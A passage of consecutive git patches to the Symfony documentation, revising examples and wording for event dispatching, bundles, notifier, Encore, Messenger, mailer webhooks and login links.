-* End names with a verb that indicates what action has been taken (e.g.
-  ``order.placed``).
-
 Event Names and Event Objects
 .............................
 
@@ -259,7 +248,7 @@ system flexible and decoupled.
 Creating an Event Class
 .......................
 
-Suppose you want to create a new event - ``order.placed`` - that is dispatched
+Suppose you want to create a new event that is dispatched
 each time a customer orders a product with your application. When dispatching
 this event, you'll pass a custom event instance that has access to the placed
 order. Start by creating this custom event class and documenting it::
@@ -270,19 +259,12 @@ order. Start by creating this custom event class and documenting it::
     use Symfony\Contracts\EventDispatcher\Event;
 
     /**
-     * The order.placed event is dispatched each time an order is created
-     * in the system.
+     * This event is dispatched each time an order
+     * is placed in the system.
      */
-    class OrderPlacedEvent extends Event
+    final class OrderPlacedEvent extends Event
     {
-        public const NAME = 'order.placed';
-
-        protected $order;
-
-        public function __construct(Order $order)
-        {
-            $this->order = $order;
-        }
+        public function __construct(private Order $order) {}
 
         public function getOrder(): Order
         {
@@ -318,10 +300,10 @@ of the event to dispatch::
 
     // creates the OrderPlacedEvent and dispatches it
     $event = new OrderPlacedEvent($order);
-    $dispatcher->dispatch($event, OrderPlacedEvent::NAME);
+    $dispatcher->dispatch($event);
 
 Notice that the special ``OrderPlacedEvent`` object is created and passed to
-the ``dispatch()`` method. Now, any listener to the ``order.placed``
+the ``dispatch()`` method. Now, any listener to the ``OrderPlacedEvent::class``
 event will receive the ``OrderPlacedEvent``.
 
 .. _event_dispatcher-using-event-subscribers:
@@ -340,7 +322,7 @@ events it should subscribe to. It implements the
 interface, which requires a single static method called
 :method:`Symfony\\Component\\EventDispatcher\\EventSubscriberInterface::getSubscribedEvents`.
 Take the following example of a subscriber that subscribes to the
-``kernel.response`` and ``order.placed`` events::
+``kernel.response`` and ``OrderPlacedEvent::class`` events::
 
     namespace Acme\Store\Event;
 
@@ -358,7 +340,7 @@ Take the following example of a subscriber that subscribes to the
                     ['onKernelResponsePre', 10],
                     ['onKernelResponsePost', -10],
                 ],
-                OrderPlacedEvent::NAME => 'onStoreOrder',
+                OrderPlacedEvent::class => 'onPlacedOrder',
             ];
         }
 
@@ -372,8 +354,9 @@ Take the following example of a subscriber that subscribes to the
             // ...
         }
 
-        public function onStoreOrder(OrderPlacedEvent $event)
+        public function onPlacedOrder(OrderPlacedEvent $event): void
         {
+            $order = $event->getOrder();
             // ...
         }
     }
@@ -417,14 +400,14 @@ inside a listener via the
 
     use Acme\Store\Event\OrderPlacedEvent;
 
-    public function onStoreOrder(OrderPlacedEvent $event)
+    public function onPlacedOrder(OrderPlacedEvent $event): void
     {
         // ...
 
         $event->stopPropagation();
     }
 
-Now, any listeners to ``order.placed`` that have not yet been called will
+Now, any listeners to ``OrderPlacedEvent::class`` that have not yet been called will
 *not* be called.
 
 It is possible to detect if an event was stopped by using the

From 6f023369c138d9fd52cd9eb1716ec8210315388a Mon Sep 17 00:00:00 2001
From: mikocevar <mike.kocevar@gmail.com>
Date: Sat, 23 Dec 2023 18:46:10 +0100
Subject: [PATCH 4325/5766] Move note below and add examples

I find it more user-friendly to see examples when explaining alternative solutions. The note was also moved lower to give the reader first the context of how the Custom Event with arguments is created, before explaining the alternative solution without arguments.
---
 components/event_dispatcher.rst | 35 ++++++++++++++++++++++++---------
 1 file changed, 26 insertions(+), 9 deletions(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 6ad6e1dd80b..6e0fcf746e2 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -274,15 +274,6 @@ order. Start by creating this custom event class and documenting it::
 
 Each listener now has access to the order via the ``getOrder()`` method.
 
-.. note::
-
-    If you don't need to pass any additional data to the event listeners, you
-    can also use the default
-    :class:`Symfony\\Contracts\\EventDispatcher\\Event` class. In such case,
-    you can document the event and its name in a generic ``StoreEvents`` class,
-    similar to the :class:`Symfony\\Component\\HttpKernel\\KernelEvents`
-    class.
-
 Dispatch the Event
 ..................
 
@@ -306,6 +297,32 @@ Notice that the special ``OrderPlacedEvent`` object is created and passed to
 the ``dispatch()`` method. Now, any listener to the ``OrderPlacedEvent::class``
 event will receive the ``OrderPlacedEvent``.
 
+.. note::
+
+    If you don't need to pass any additional data to the event listeners, you
+    can also use the default
+    :class:`Symfony\\Contracts\\EventDispatcher\\Event` class. In such case,
+    you can document the event and its name in a generic ``StoreEvents`` class,
+    similar to the :class:`Symfony\\Component\\HttpKernel\\KernelEvents`
+    class::
+
+        namespace App\Event;
+
+        class StoreEvents {
+
+            /**
+            * @Event("Symfony\Contracts\EventDispatcher\Event")
+            */
+            public const ORDER_PLACED = 'order.placed';
+        }
+
+    And use the :class:`Symfony\\Contracts\\EventDispatcher\\Event` class to
+    dispatch the event::
+
+        use Symfony\Contracts\EventDispatcher\Event;
+
+        $this->eventDispatcher->dispatch(new Event(), StoreEvents::ORDER_PLACED);
+
 .. _event_dispatcher-using-event-subscribers:
 
 Using Event Subscribers

From 23a8a630aa7168fc6f07c32705c472fbb4e1427b Mon Sep 17 00:00:00 2001
From: Jeroen <4200784+JeroenMoonen@users.noreply.github.com>
Date: Mon, 8 Jan 2024 12:42:14 +0100
Subject: [PATCH 4326/5766] Update database.rst

---
 testing/database.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing/database.rst b/testing/database.rst
index 97b2f3fdfd5..744c5da4fa9 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -98,7 +98,7 @@ so, get the entity manager via the service container as follows::
 
     class ProductRepositoryTest extends KernelTestCase
     {
-        private \Doctrine\ORM\EntityManager $entityManager;
+        private \Doctrine\Persistence\ObjectManager $entityManager;
 
         protected function setUp(): void
         {

From f8beecde7732959a176c77ec69ede9b79577b494 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Jan 2024 11:44:44 +0100
Subject: [PATCH 4327/5766] Minor tweak

---
 testing/database.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/testing/database.rst b/testing/database.rst
index 744c5da4fa9..ebcaf288c58 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -94,11 +94,12 @@ so, get the entity manager via the service container as follows::
     namespace App\Tests\Repository;
 
     use App\Entity\Product;
+    use Doctrine\Persistence\ObjectManager;
     use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase;
 
     class ProductRepositoryTest extends KernelTestCase
     {
-        private \Doctrine\Persistence\ObjectManager $entityManager;
+        private ObjectManager $entityManager;
 
         protected function setUp(): void
         {

From 6896b7e44582dc9d986a8ed453c2dbcacf63e00a Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Wed, 20 Dec 2023 07:02:55 -0500
Subject: [PATCH 4328/5766] match parameter names with AbstractBundle

---
 bundles/extension.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/bundles/extension.rst b/bundles/extension.rst
index ff873f2ab14..5c71fa18cfd 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -127,18 +127,18 @@ method::
 
     class AcmeHelloBundle extends AbstractBundle
     {
-        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void
+        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
         {
             // load an XML, PHP or Yaml file
-            $containerConfigurator->import('../config/services.xml');
+            $container->import('../config/services.xml');
 
             // you can also add or replace parameters and services
-            $containerConfigurator->parameters()
+            $container->parameters()
                 ->set('acme_hello.phrase', $config['phrase'])
             ;
 
             if ($config['scream']) {
-                $containerConfigurator->services()
+                $container->services()
                     ->get('acme_hello.printer')
                         ->class(ScreamingPrinter::class)
                 ;

From 9efdea3e63227cb84afd430bef413feec75d2ca8 Mon Sep 17 00:00:00 2001
From: cancelledbit <akadox@gmail.com>
Date: Sat, 16 Dec 2023 11:11:48 +0300
Subject: [PATCH 4329/5766] Note about message bus

---
 notifier.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index d964272bec1..4bebd7b6eed 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -271,6 +271,22 @@ Service                                  Package                               D
 
     The LINE Notify, Mastodon and Twitter integrations were introduced in Symfony 6.3.
 
+.. caution::
+
+    If you have the messenger component installed, the default component
+    configuration implies sending notifications through the MessageBus.
+    If you don't have a message consumer running, messages will never be sent.
+    To send messages directly via the transport, add the following line to the configuration.
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/notifier.yaml
+            framework:
+                notifier:
+                    message_bus: false
+
 Chatters are configured using the ``chatter_transports`` setting:
 
 .. code-block:: bash

From b003eaf52096a82f0fc091cb70a7a71a0943b923 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Jan 2024 15:09:14 +0100
Subject: [PATCH 4330/5766] Minor reword

---
 notifier.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 4bebd7b6eed..111040e46b1 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -273,19 +273,19 @@ Service                                  Package                               D
 
 .. caution::
 
-    If you have the messenger component installed, the default component
-    configuration implies sending notifications through the MessageBus.
-    If you don't have a message consumer running, messages will never be sent.
-    To send messages directly via the transport, add the following line to the configuration.
+    By default, if you have the :doc:`Messenger component </messenger>` installed,
+    the notifications will be sent through the MessageBus. If you don't have a
+    message consumer running, messages will never be sent.
 
-    .. configuration-block::
+    To change this behavior, add the following configuration to send messages
+    directly via the transport:
 
-        .. code-block:: yaml
+    .. code-block:: yaml
 
-            # config/packages/notifier.yaml
-            framework:
-                notifier:
-                    message_bus: false
+        # config/packages/notifier.yaml
+        framework:
+            notifier:
+                message_bus: false
 
 Chatters are configured using the ``chatter_transports`` setting:
 

From 2d0af9c51489ef1b575105883467d709b72da71d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Sat, 25 Nov 2023 11:35:39 +0100
Subject: [PATCH 4331/5766] [Bundle] Sync doc pages with current Symfony
 codebase

---
 bundles.rst               | 66 ++++++++++++++++++++-------------------
 bundles/configuration.rst | 25 ++++++++-------
 bundles/extension.rst     |  4 +--
 templates.rst             |  8 ++---
 4 files changed, 54 insertions(+), 49 deletions(-)

diff --git a/bundles.rst b/bundles.rst
index 19dd8c31aa8..c937b1ac69f 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -22,13 +22,15 @@ file::
     return [
         // 'all' means that the bundle is enabled for any Symfony environment
         Symfony\Bundle\FrameworkBundle\FrameworkBundle::class => ['all' => true],
-        Symfony\Bundle\SecurityBundle\SecurityBundle::class => ['all' => true],
-        Symfony\Bundle\TwigBundle\TwigBundle::class => ['all' => true],
-        Symfony\Bundle\MonologBundle\MonologBundle::class => ['all' => true],
-        Doctrine\Bundle\DoctrineBundle\DoctrineBundle::class => ['all' => true],
-        Sensio\Bundle\FrameworkExtraBundle\SensioFrameworkExtraBundle::class => ['all' => true],
+        // ...
+
+        // this bundle is enabled only in 'dev'
+        Symfony\Bundle\DebugBundle\DebugBundle::class => ['dev' => true],
+        // ...
+
         // this bundle is enabled only in 'dev' and 'test', so you can't use it in 'prod'
         Symfony\Bundle\WebProfilerBundle\WebProfilerBundle::class => ['dev' => true, 'test' => true],
+        // ...
     ];
 
 .. tip::
@@ -41,18 +43,18 @@ Creating a Bundle
 -----------------
 
 This section creates and enables a new bundle to show there are only a few steps required.
-The new bundle is called AcmeTestBundle, where the ``Acme`` portion is an example
+The new bundle is called AcmeBlogBundle, where the ``Acme`` portion is an example
 name that should be replaced by some "vendor" name that represents you or your
-organization (e.g. AbcTestBundle for some company named ``Abc``).
+organization (e.g. AbcBlogBundle for some company named ``Abc``).
 
-Start by creating a new class called ``AcmeTestBundle``::
+Start by creating a new class called ``AcmeBlogBundle``::
 
-    // src/AcmeTestBundle.php
-    namespace Acme\TestBundle;
+    // src/AcmeBlogBundle.php
+    namespace Acme\BlogBundle;
 
     use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
 
-    class AcmeTestBundle extends AbstractBundle
+    class AcmeBlogBundle extends AbstractBundle
     {
     }
 
@@ -68,10 +70,10 @@ Start by creating a new class called ``AcmeTestBundle``::
 
 .. tip::
 
-    The name AcmeTestBundle follows the standard
+    The name AcmeBlogBundle follows the standard
     :ref:`Bundle naming conventions <bundles-naming-conventions>`. You could
-    also choose to shorten the name of the bundle to simply TestBundle by naming
-    this class TestBundle (and naming the file ``TestBundle.php``).
+    also choose to shorten the name of the bundle to simply BlogBundle by naming
+    this class BlogBundle (and naming the file ``BlogBundle.php``).
 
 This empty class is the only piece you need to create the new bundle. Though
 commonly empty, this class is powerful and can be used to customize the behavior
@@ -80,10 +82,10 @@ of the bundle. Now that you've created the bundle, enable it::
     // config/bundles.php
     return [
         // ...
-        Acme\TestBundle\AcmeTestBundle::class => ['all' => true],
+        Acme\BlogBundle\AcmeBlogBundle::class => ['all' => true],
     ];
 
-And while it doesn't do anything yet, AcmeTestBundle is now ready to be used.
+And while it doesn't do anything yet, AcmeBlogBundle is now ready to be used.
 
 Bundle Directory Structure
 --------------------------
@@ -92,31 +94,31 @@ The directory structure of a bundle is meant to help to keep code consistent
 between all Symfony bundles. It follows a set of conventions, but is flexible
 to be adjusted if needed:
 
-``src/``
-    Contains all PHP classes related to the bundle logic (e.g. ``Controller/RandomController.php``).
+``assets/``
+    Contains the web asset sources like JavaScript and TypeScript files, CSS and
+    Sass files, but also images and other assets related to the bundle that are
+    not in ``public/`` (e.g. Stimulus controllers).
 
 ``config/``
-    Houses configuration, including routing configuration (e.g. ``routing.yaml``).
-
-``templates/``
-    Holds templates organized by controller name (e.g. ``random/index.html.twig``).
-
-``translations/``
-    Holds translations organized by domain and locale (e.g. ``AcmeTestBundle.en.xlf``).
+    Houses configuration, including routing configuration (e.g. ``routes.php``).
 
 ``public/``
     Contains web assets (images, compiled CSS and JavaScript files, etc.) and is
     copied or symbolically linked into the project ``public/`` directory via the
     ``assets:install`` console command.
 
-``assets/``
-    Contains the web asset sources (JavaScript and TypeScript files, CSS and Sass
-    files, etc.), images and other assets related to the bundle that are not in
-    ``public/`` (e.g. Stimulus controllers)
+``src/``
+    Contains all PHP classes related to the bundle logic (e.g. ``Controller/CategoryController.php``).
+
+``templates/``
+    Holds templates organized by controller name (e.g. ``category/show.html.twig``).
 
 ``tests/``
     Holds all tests for the bundle.
 
+``translations/``
+    Holds translations organized by domain and locale (e.g. ``AcmeBlogBundle.en.xlf``).
+
 .. caution::
 
     The recommended bundle structure was changed in Symfony 5, read the
@@ -127,7 +129,7 @@ to be adjusted if needed:
     new structure. Override the ``Bundle::getPath()`` method to change to
     the old structure::
 
-        class AcmeTestBundle extends AbstractBundle
+        class AcmeBlogBundle extends AbstractBundle
         {
             public function getPath(): string
             {
@@ -146,12 +148,12 @@ to be adjusted if needed:
         {
             "autoload": {
                 "psr-4": {
-                    "Acme\\TestBundle\\": "src/"
+                    "Acme\\BlogBundle\\": "src/"
                 }
             },
             "autoload-dev": {
                 "psr-4": {
-                    "Acme\\TestBundle\\Tests\\": "tests/"
+                    "Acme\\BlogBundle\\Tests\\": "tests/"
                 }
             }
         }
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 4a2224429ed..c155fe8a56a 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -175,7 +175,7 @@ of your bundle's configuration.
 
 The ``Configuration`` class to handle the sample configuration looks like::
 
-    // src/Acme/SocialBundle/DependencyInjection/Configuration.php
+    // src/DependencyInjection/Configuration.php
     namespace Acme\SocialBundle\DependencyInjection;
 
     use Symfony\Component\Config\Definition\Builder\TreeBuilder;
@@ -216,7 +216,7 @@ This class can now be used in your ``load()`` method to merge configurations and
 force validation (e.g. if an additional option was passed, an exception will be
 thrown)::
 
-    // src/Acme/SocialBundle/DependencyInjection/AcmeSocialExtension.php
+    // src/DependencyInjection/AcmeSocialExtension.php
     public function load(array $configs, ContainerBuilder $container): void
     {
         $configuration = new Configuration();
@@ -236,7 +236,7 @@ For example, imagine your bundle has the following example config:
 
 .. code-block:: xml
 
-    <!-- src/Acme/SocialBundle/Resources/config/services.xml -->
+    <!-- src/config/services.xml -->
     <?xml version="1.0" encoding="UTF-8" ?>
     <container xmlns="http://symfony.com/schema/dic/services"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -253,8 +253,8 @@ For example, imagine your bundle has the following example config:
 
 In your extension, you can load this and dynamically set its arguments::
 
-    // src/Acme/SocialBundle/DependencyInjection/AcmeSocialExtension.php
-    // ...
+    // src/DependencyInjection/AcmeSocialExtension.php
+    namespace Acme\SocialBundle\DependencyInjection;
 
     use Symfony\Component\Config\FileLocator;
     use Symfony\Component\DependencyInjection\Loader\XmlFileLoader;
@@ -279,7 +279,7 @@ In your extension, you can load this and dynamically set its arguments::
     :class:`Symfony\\Component\\HttpKernel\\DependencyInjection\\ConfigurableExtension`
     to do this automatically for you::
 
-        // src/Acme/HelloBundle/DependencyInjection/AcmeHelloExtension.php
+        // src/DependencyInjection/HelloExtension.php
         namespace Acme\HelloBundle\DependencyInjection;
 
         use Symfony\Component\DependencyInjection\ContainerBuilder;
@@ -375,6 +375,7 @@ logic to the bundle class directly::
     configuration definition from one or more files::
 
         // src/AcmeSocialBundle.php
+        namespace Acme\SocialBundle;
 
         // ...
         class AcmeSocialBundle extends AbstractBundle
@@ -417,7 +418,7 @@ The ``config:dump-reference`` command dumps the default configuration of a
 bundle in the console using the Yaml format.
 
 As long as your bundle's configuration is located in the standard location
-(``YourBundle\DependencyInjection\Configuration``) and does not have
+(``<YourBundle>/src/DependencyInjection/Configuration``) and does not have
 a constructor, it will work automatically. If you
 have something different, your ``Extension`` class must override the
 :method:`Extension::getConfiguration() <Symfony\\Component\\DependencyInjection\\Extension\\Extension::getConfiguration>`
@@ -451,7 +452,8 @@ URL nor does it need to exist). By default, the namespace for a bundle is
 ``http://example.org/schema/dic/DI_ALIAS``, where ``DI_ALIAS`` is the DI alias of
 the extension. You might want to change this to a more professional URL::
 
-    // src/Acme/HelloBundle/DependencyInjection/AcmeHelloExtension.php
+    // src/DependencyInjection/AcmeHelloExtension.php
+    namespace Acme\HelloBundle\DependencyInjection;
 
     // ...
     class AcmeHelloExtension extends Extension
@@ -480,10 +482,11 @@ namespace is then replaced with the XSD validation base path returned from
 method. This namespace is then followed by the rest of the path from the base
 path to the file itself.
 
-By convention, the XSD file lives in the ``Resources/config/schema/``, but you
+By convention, the XSD file lives in ``config/schema/`` directory, but you
 can place it anywhere you like. You should return this path as the base path::
 
-    // src/Acme/HelloBundle/DependencyInjection/AcmeHelloExtension.php
+    // src/DependencyInjection/AcmeHelloExtension.php
+    namespace Acme\HelloBundle\DependencyInjection;
 
     // ...
     class AcmeHelloExtension extends Extension
@@ -492,7 +495,7 @@ can place it anywhere you like. You should return this path as the base path::
 
         public function getXsdValidationBasePath(): string
         {
-            return __DIR__.'/../Resources/config/schema';
+            return __DIR__.'/../config/schema';
         }
     }
 
diff --git a/bundles/extension.rst b/bundles/extension.rst
index 5c71fa18cfd..861c7b60807 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -173,9 +173,9 @@ performance. Define the list of annotated classes to compile in the
 
         $this->addAnnotatedClassesToCompile([
             // you can define the fully qualified class names...
-            'App\\Controller\\DefaultController',
+            'Acme\\BlogBundle\\Controller\\AuthorController',
             // ... but glob patterns are also supported:
-            '**Bundle\\Controller\\',
+            'Acme\\BlogBundle\\Form\\**',
 
             // ...
         ]);
diff --git a/templates.rst b/templates.rst
index ba716427367..1373d671669 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1417,10 +1417,10 @@ may include their own Twig templates (in the ``Resources/views/`` directory of
 each bundle). To avoid messing with your own templates, Symfony adds bundle
 templates under an automatic namespace created after the bundle name.
 
-For example, the templates of a bundle called ``AcmeFooBundle`` are available
-under the ``AcmeFoo`` namespace. If this bundle includes the template
-``<your-project>/vendor/acmefoo-bundle/Resources/views/user/profile.html.twig``,
-you can refer to it as ``@AcmeFoo/user/profile.html.twig``.
+For example, the templates of a bundle called ``AcmeBlogBundle`` are available
+under the ``AcmeBlog`` namespace. If this bundle includes the template
+``<your-project>/vendor/acme/blog-bundle/Resources/views/user/profile.html.twig``,
+you can refer to it as ``@AcmeBlog/user/profile.html.twig``.
 
 .. tip::
 

From 8c080f435903d58a4c4a0048c2c09ea75f2da62a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Jan 2024 16:08:24 +0100
Subject: [PATCH 4332/5766] Minor tweak

---
 security.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 4280aaa1079..3b5d4c3f47d 100644
--- a/security.rst
+++ b/security.rst
@@ -1054,7 +1054,8 @@ token (or whatever you need to return) and return the JSON response:
 
       class ApiLoginController extends AbstractController
       {
-          #[Route('/api/login', name: 'api_login', methods: ['POST'])]
+    -     #[Route('/api/login', name: 'api_login')]
+    +     #[Route('/api/login', name: 'api_login', methods: ['POST'])]
     -     public function index(): Response
     +     public function index(#[CurrentUser] ?User $user): Response
           {

From e65034bcd7c8d070067ed334dfe4af024405994c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Jan 2024 16:27:24 +0100
Subject: [PATCH 4333/5766] Minor tweaks

---
 frontend/encore/advanced-config.rst | 29 +++++++++++++----------------
 1 file changed, 13 insertions(+), 16 deletions(-)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index 4224629bae0..3c5f60edad3 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -144,15 +144,12 @@ functions to specify which build to use:
     {{ encore_entry_script_tags('mobile', null, 'secondConfig') }}
     {{ encore_entry_link_tags('mobile', null, 'secondConfig') }}
 
-Avoid missing CSS when render multiples html
---------------------------------------------
+Avoid Missing CSS When Rendering Multiple Templates
+---------------------------------------------------
 
-When you need to generate two templates in the same request, such as two emails, you should call the reset method on
-the ``EntrypointLookupInterface`` interface.
-
-To do this, inject the ``EntrypointLookupInterface`` interface
-
-.. code-block:: php
+When you render two or more templates in the same request, such as two emails,
+you should call the ``reset()`` method on the ``EntrypointLookupInterface`` interface.
+To do this, inject the ``EntrypointLookupInterface`` interface::
 
     public function __construct(EntrypointLookupInterface $entryPointLookup) {}
 
@@ -162,14 +159,13 @@ To do this, inject the ``EntrypointLookupInterface`` interface
         $this->render($emailTwo);
     }
 
-If you are using multiple webpack configurations, for example, one for the admin and one for emails, you will need to
-inject the correct ``EntrypointLookupInterface`` service. To achieve this, you should search for the service
-using the following command:
+If you are using multiple Webpack configurations (e.g. one for the admin and one
+for emails) you will need to inject the right ``EntrypointLookupInterface`` service.
+Use the following command to find the right service:
 
 .. code-block:: terminal
 
-    # if you are using symfony CLI
-    $ symfony console debug:container entrypoint_lookup
+    $ php bin/console console debug:container entrypoint_lookup
 
     # You will see a result similar to this:
     Select one of the following services to display its information:
@@ -179,18 +175,19 @@ using the following command:
     [3] webpack_encore.entrypoint_lookup[admin]
     [4] webpack_encore.entrypoint_lookup[email]
 
-The service we are interested in is ``webpack_encore.entrypoint_lookup[email]``.
+In this example, the configuration related to the ``email`` configuration is
+the one called ``webpack_encore.entrypoint_lookup[email]``.
 
-To inject this service into your class, we will use the bind method:
+To inject this service into your class, use the ``bind`` option:
 
 .. code-block:: yaml
 
+    # config/services.yaml
     services:
         _defaults
             bind:
                 Symfony\WebpackEncoreBundle\Asset\EntrypointLookupInterface $entryPointLookupEmail: '@webpack_encore.entrypoint_lookup[email]'
 
-
 Now you can inject your service into your class:
 
 .. code-block:: php

From d8b8b5135394b4ccd1390319e9719dc4e73f756d Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 18 Jan 2024 09:32:48 +0100
Subject: [PATCH 4334/5766] Fix build

---
 frontend/encore/advanced-config.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index 3c5f60edad3..c6ad915acdb 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -188,9 +188,7 @@ To inject this service into your class, use the ``bind`` option:
             bind:
                 Symfony\WebpackEncoreBundle\Asset\EntrypointLookupInterface $entryPointLookupEmail: '@webpack_encore.entrypoint_lookup[email]'
 
-Now you can inject your service into your class:
-
-.. code-block:: php
+Now you can inject your service into your class::
 
     public function __construct(EntrypointLookupInterface $entryPointLookupEmail) {}
 

From efc058d7e50596cbce1dc049a436b30c23b61c58 Mon Sep 17 00:00:00 2001
From: Mathieu Rochette <mathieu@rochette.cc>
Date: Thu, 18 Jan 2024 09:30:36 +0100
Subject: [PATCH 4335/5766] Small typo fix in Messenger documentation

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 97100cdbd34..84de04743de 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -564,7 +564,7 @@ different messages to them. For example:
                             #    name: high
                             #queues:
                             #    messages_high: ~
-                            # or redis try "group"
+                            # for redis try "group"
                     async_priority_low:
                         dsn: '%env(MESSENGER_TRANSPORT_DSN)%'
                         options:

From c19e8dffb5a671eef5ae3f452b4bd3a44066d2e1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Jan 2024 10:56:52 +0100
Subject: [PATCH 4336/5766] Updated the versionadded directive

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 37a955efe42..3d49efea597 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -117,7 +117,7 @@ Service               Install with                                    Webhook su
 
 .. versionadded:: 7.1
 
-    The Azure integration was introduced in Symfony 7.1.
+    The Azure and Resend integrations were introduced in Symfony 7.1.
 
 .. note::
 

From 78ef5d52d16d58f7b24db4939f8b78e76f458d67 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Jan 2024 10:58:00 +0100
Subject: [PATCH 4337/5766] [Webhook] Added a missing versionadded directive

---
 webhook.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/webhook.rst b/webhook.rst
index 32567bfe29d..05885602074 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -86,6 +86,10 @@ Resend         ``mailer.webhook.request_parser.resend``
 Sendgrid       ``mailer.webhook.request_parser.sendgrid``
 ============== ==========================================
 
+.. versionadded:: 7.1
+
+    The Resend webhook was introduced in Symfony 7.1.
+
 Set up the webhook in the third-party mailer. For Mailgun, you can do this
 in the control panel. As URL, make sure to use the ``/webhook/mailer_mailgun``
 path behind the domain you're using.

From c9d05e8255889a0537d9bf1c783c54736ae06c7a Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 9 Aug 2022 23:46:59 +0200
Subject: [PATCH 4338/5766] Avoiding the term "login form"...

---
 security/login_link.rst | 20 +++++++++-----------
 1 file changed, 9 insertions(+), 11 deletions(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index 40679e50071..bd6af94ad44 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -24,9 +24,8 @@ my password, etc.)
 Using the Login Link Authenticator
 ----------------------------------
 
-This guide assumes you have setup security and have created a user object
-in your application. Follow :doc:`the main security guide </security>` if
-this is not yet the case.
+This guide assumes you have :doc:`setup security and have created a user object </security>`
+in your application.
 
 1) Configure the Login Link Authenticator
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -164,9 +163,8 @@ intercept requests to this route:
 2) Generate the Login Link
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Now that the authenticator is able to check the login links, you must
-create a page where a user can request a login link and log in to your
-website.
+Now that the authenticator is able to check the login links, you can
+create a page where a user can request a login link.
 
 The login link can be generated using the
 :class:`Symfony\\Component\\Security\\Http\\LoginLink\\LoginLinkHandlerInterface`.
@@ -189,7 +187,7 @@ this interface::
          */
         public function requestLoginLink(LoginLinkHandlerInterface $loginLinkHandler, UserRepository $userRepository, Request $request)
         {
-            // check if login form is submitted
+            // check if form is submitted
             if ($request->isMethod('POST')) {
                 // load the user in some way (e.g. using the form input)
                 $email = $request->request->get('email');
@@ -203,8 +201,8 @@ this interface::
                 // ... send the link and return a response (see next section)
             }
 
-            // if it's not submitted, render the "login" form
-            return $this->render('security/login.html.twig');
+            // if it's not submitted, render the "request" form
+            return $this->render('security/request_login_link.html.twig');
         }
 
         // ...
@@ -212,7 +210,7 @@ this interface::
 
 .. code-block:: html+twig
 
-    {# templates/security/login.html.twig #}
+    {# templates/security/request_login_link.html.twig #}
     {% extends 'base.html.twig' %}
 
     {% block body %}
@@ -802,7 +800,7 @@ features such as the locale used to generate the link::
                 // ...
             }
 
-            return $this->render('security/login.html.twig');
+            return $this->render('security/request_login_link.html.twig');
         }
 
         // ...

From 0b3b5674ad5715a6fbe999187e0bffb02ca71d15 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Jan 2024 12:40:57 +0100
Subject: [PATCH 4339/5766] Minor tweak

---
 security/login_link.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index 31a64334eb1..73df5906565 100644
